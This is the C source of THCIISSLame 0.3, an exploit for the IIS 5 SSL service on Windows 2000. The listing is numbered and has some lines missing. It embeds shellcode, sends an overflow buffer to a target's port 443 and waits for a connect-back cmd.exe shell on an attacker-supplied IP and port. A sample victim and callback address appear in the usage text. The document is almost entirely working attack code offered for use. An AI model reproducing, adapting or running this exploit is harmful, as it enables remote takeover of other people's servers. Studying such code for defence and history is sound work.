1 /*****************************************************************************/
2 /* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
4 /* THC PUBLIC SOURCE MATERIALS */
6 /* Bug was found by Internet Security Systems */
7 /* Reversing credits of the bug go to Halvar Flake */
9 /* compile with MS Visual C++ : cl THCIISSLame.c */
11 /* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */
12 /* v0.2 - This little update uses a connectback shell ! */
13 /* v0.1 - First release with portbinding shell on 31337 */
15 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
16 /* scut, stealth, FtR and Random */
17 /*****************************************************************************/
24 #pragma comment(lib, "ws2_32.lib")
26 #define jumper "\xeb\x0f"
27 #define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
29 char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
32 "\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
33 "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
34 "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
35 "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
36 "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
37 "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
38 "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
39 "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
40 "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
41 "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
42 "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
43 "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
44 "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
45 "\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
46 "\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
47 "\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
48 "\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
49 "\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
50 "\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
51 "\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
52 "\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
58 int main(int argc, char *argv[])
60 unsigned int i,sock,sock2,sock3,addr,rc,len=16;
61 unsigned char *badbuf,*p;
62 unsigned long offset = 0x6741a1cd;
63 unsigned long XOR = 0xffffffff;
64 unsigned long XORIP = 0x93939393;
65 unsigned short XORPORT = 0x9393;
67 unsigned short cbport;
70 struct sockaddr_in mytcp;
74 printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
75 printf("tested on Windows 2000 Server german/english SP4\n");
76 printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
84 printf("\n[*] building buffer\n");
88 memcpy(p,sslshit,sizeof(sslshit));
94 strcat(p,greetings_to_microsoft);
97 strncat(p,(unsigned char *)&offset,4);
99 cbport = htons((unsigned short)atoi(argv[3]));
100 cbip = inet_addr(argv[2]);
103 memcpy(&shellcode[2],&cbport,2);
104 memcpy(&shellcode[4],&cbip,4);
108 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
110 printf("WSAStartup failed !\n");
114 hp = gethostbyname(argv[1]);
117 addr = inet_addr(argv[1]);
119 if ((!hp) && (addr == INADDR_NONE) )
121 printf("Unable to resolve %s\n",argv[1]);
125 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
128 printf("socket() error...\n");
133 memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
135 mytcp.sin_addr.s_addr = addr;
138 mytcp.sin_family = hp->h_addrtype;
140 mytcp.sin_family = AF_INET;
142 mytcp.sin_port=htons(443);
144 printf("[*] connecting the target\n");
146 rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
149 send(sock,badbuf,351,0);
150 printf("[*] exploit send\n");
152 mytcp.sin_addr.s_addr = 0;
153 mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
155 sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
157 rc=bind(sock2,(struct sockaddr *)&mytcp,16);
160 printf("bind error() %d\n",WSAGetLastError());
167 printf("listen error()\n");
171 printf("[*] waiting for shell\n");
172 sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len);
175 printf("[*] Exploit successful ! Have fun !\n");
176 printf("[*] --------------------------------------------------------------------\n\n");
182 printf("\nCan't connect to ssl port 443!\n");
201 printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
202 printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
221 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
224 l = recv (sock, buf, sizeof (buf), 0);
227 printf ("bye bye...\n");
230 l = write (1, buf, l);
233 printf ("bye bye...\n");
239 l = read (0, buf, sizeof (buf));
242 printf("bye bye...\n");
245 l = send(sock, buf, l, 0);
248 printf("bye bye...\n");